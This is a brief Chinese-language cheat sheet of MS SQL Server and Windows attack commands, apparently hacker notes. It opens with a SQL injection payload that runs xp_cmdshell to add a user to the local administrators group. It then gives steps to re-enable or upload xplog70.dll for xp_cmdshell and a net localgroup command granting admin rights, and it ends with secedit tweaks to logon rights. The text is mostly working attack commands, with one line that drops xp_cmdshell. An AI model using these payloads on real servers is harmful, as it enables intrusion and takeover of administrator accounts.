;exec master..xp_cmdshell \"net localgroup administrators name /add\"--

程序代码开启cmdshell的SQL语句

EXEC sp_addextendedproc xp_cmdshell ,@dllname =\\\'xplog70.dll\\\'

判定存储扩展是否存在
select count(*) from master.dbo.sysobjects where xtype=\\\'X\\\' and name=\\\'xp_cmdshell\\\'
返回结果为1就OK

恢复xp_cmdshell
Exec master.dbo.addextendedproc \\\'xp_cmdshell\\\',\\\'xplog70.dll\\\';select count(*) from master.dbo.sysobjects where xtype=\\\'X\\\' and name=\\\'xp_cmdshell\\\'
返回结果为1就OK

否则上传xplog7.0.dll
Exec master.dbo.addextendedproc \\\'xp_cmdshell\\\',\\\'C:/WinNt/System32/xplog70.dll\\\'

堵上cmdshell的SQL语句
sp_dropextendedproc \"xp_cmdshell\"

DOS:

net localGroup Administrators TsInternetUsers /add

备份恢复IPSEC

echo sedenynetworklogonright =>>c:/tmp.inf
secedit /configure /db c:/windows/secedit.sdb /CFG c:/tmp.inf
